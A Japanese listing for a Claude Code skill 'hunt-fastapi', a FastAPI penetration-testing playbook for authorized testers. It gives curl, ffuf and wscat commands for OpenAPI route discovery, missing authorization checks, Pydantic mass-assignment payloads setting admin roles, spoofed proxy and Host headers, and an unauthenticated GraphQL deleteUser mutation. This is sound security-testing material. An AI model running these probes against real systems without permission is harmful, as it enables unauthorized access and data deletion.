mcpField
H
hunt-fastapi

hunt-fastapi

github.com/uphiagoセキュリティ1.3k39 回インストール8 週間前に更新
リポジトリ

hunt-fastapi について

hunt-fastapiは、FastAPIアプリケーションを評価するセキュリティテスト用スキルで、許可を得たペネトレーションテスターやセキュリティレビュアーを対象とします。依存性注入による認可、Pydantic検証、OpenAPI探索、ミドルウェア、WebSocketに関する固有のリスクを扱います。

主な機能

  1. 01FastAPIエンドポイントの特定
  2. 02OpenAPIスキーマからのルート探索
  3. 03依存性注入による認可のテスト
  4. 04Pydanticの型変換と追加フィールドの確認
  5. 05ASGIミドルウェアとプロキシ信頼の評価
  6. 06WebSocketとRESTの認証比較

活用シーン

  1. 01許可を得たFastAPIペネトレーションテスト
  2. 02公開OpenAPIスキーマから未記載ルートを発見
  3. 03RESTとWebSocketのエンドポイント間の認可差を確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-fastapi

インストール後、Claude Code で/hunt-fastapiを入力して読み込まれたか確認します。

詳細

FastAPI セキュリティハンティング

依存性注入における認可の欠落、Pydantic モデルの型強制と余分なフィールドの悪用、隠れたエンドポイントを見つけるための OpenAPI スキーマの調査、ASGI ミドルウェアのバイパスなど、FastAPI 固有の脆弱性を調査します。FastAPI の設計(認証に依存性注入を使用し、検証に Pydantic を使用し、OpenAPI を自動生成する)は、Flask や Django とは異なる独自の攻撃対象領域を生み出します。

使用する場面

  • 対象が FastAPI を使用している(/docs、/redoc、/openapi.json、または server: uvicorn で確認できます)。
  • OpenAPI スキーマに公開アクセスできる。
  • API が認可に依存性注入(Depends)を使用している。
  • REST API と並行して WebSocket エンドポイントが存在する。
  • アプリケーションがリクエストの検証に Pydantic v1 または v2 を使用している。

簡易検出

# FastAPI fingerprinting
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.info.title' 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/docs" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/redoc" -w "%{http_code}\n" -o /dev/null

手順

フェーズ 1 — OpenAPI スキーマの調査
# Download full schema for endpoint discovery
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | keys[]'

# Find hidden endpoints not in docs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | to_entries[] | select(.value.get != null and .value.get.security == []) | .key'

# Discover internal endpoints via path parameter fuzzing
ffuf -u "https://target.com/api/FUZZ" \
  -w /path/to/wordlist.txt \
  -mc 200,401,403 \
  -H "Accept: application/json"
フェーズ 2 — 依存性注入における認可の欠落
# Depends vs Security — check if auth is actually enforced
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users"     # no auth
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
  -H "Authorization: Bearer INVALID_TOKEN"         # invalid auth

# Dependency override in path operations
# Some endpoints may inherit Depends from router but override with None
for method in GET POST PUT PATCH DELETE; do
  curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/users/1" \
    -w "$method — %{http_code}\n" -o /dev/null
done

# Background tasks added via BackgroundTasks may skip auth
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/orders" \
  -H "Content-Type: application/json" \
  -d '{"user_id":"VICTIM_ID","product":"test"}'
フェーズ 3 — Pydantic モデルの悪用
# Type coercion — string "true" coerced to boolean
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","is_admin":"true"}'  # string coerced to bool

# Extra fields — Pydantic v1 ignores extra, v2 raises error by default
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","role":"admin"}'  # extra field may be passed to DB

# Content-type switching
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'username=test&role=admin&is_superuser=true'
フェーズ 4 — ASGI ミドルウェアとプロキシの信頼設定
# ProxyHeaders trust — if behind a proxy, spoof client IP
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/me" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1"

# TrustedHostMiddleware bypass
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/health" \
  -H "Host: evil.com"

# CORS middleware — test preflight bypass
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com/api/users" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: DELETE"
フェーズ 5 — WebSocket 認証の同等性
# FastAPI WebSocket endpoints — auth may differ from REST
# Connect without token
wscat -c "wss://target.com/ws/notifications"

# Connect with minimal scope
wscat -c "wss://target.com/ws/admin" -H "Authorization: Bearer USER_TOKEN"

# Mounted sub-app WebSockets may skip middleware
wscat -c "wss://target.com/subapp/ws"
フェーズ 6 — GraphQL マウントにおける認可の欠落
# GraphQL mounted via starlette-graphene or strawberry-graphql
# May not enforce Depends at GraphQL resolver level
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}'

# Mutations may work without auth even when queries require it
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { deleteUser(id: 1) { success } }"}'

注意点

  • Pydantic v2 の model_config で extra='ignore' を指定すると、不明なフィールドが何も通知されずに破棄されます。 Pydantic v1 と v2 の両方の挙動をテストしてください。
  • OpenAPI スキーマへのアクセスが制限されている場合があります。 /openapi.json が 403 を返す場合は、同じデータを提供する /docs と /redoc を試してください。
  • FastAPI の Security を使う Depends は、通常の Depends と同じではありません。 Security は OpenAPI のセキュリティスキームと連携しますが、どちらも設定を誤る可能性があります。
  • IP スプーフィングを機能させるには、Uvicorn の --proxy-headers を有効にする必要があります。 X-Forwarded-For を確認し、サーバーに実際の IP アドレスが認識される場合は、プロキシヘッダーが無効になっています。

検証

  1. OpenAPI スキーマから、公開 API ドキュメントに記載されていないエンドポイントが見つかります。
  2. Depends(get_current_user) を持つエンドポイントが、Authorization ヘッダーなしのリクエストを受け付けます。
  3. Pydantic の型強制によって、ブール値/整数フィールドに文字列値を指定しても受け付けられ、値が保存されます。
  4. REST 側の同等エンドポイントでは認証が必須である一方、WebSocket エンドポイントはセッション認証なしで接続を受け付けます。

関連スキル

  • hunt-api-misconfig — Swagger/OpenAPI の公開を含む、より広範な API 設定の問題。
  • hunt-idor — FastAPI のパスパラメーターにおけるオブジェクトレベルの認可の欠落。
  • web-enumeration — OpenAPI スキーマの調査によるディレクトリとエンドポイントの発見。

コメント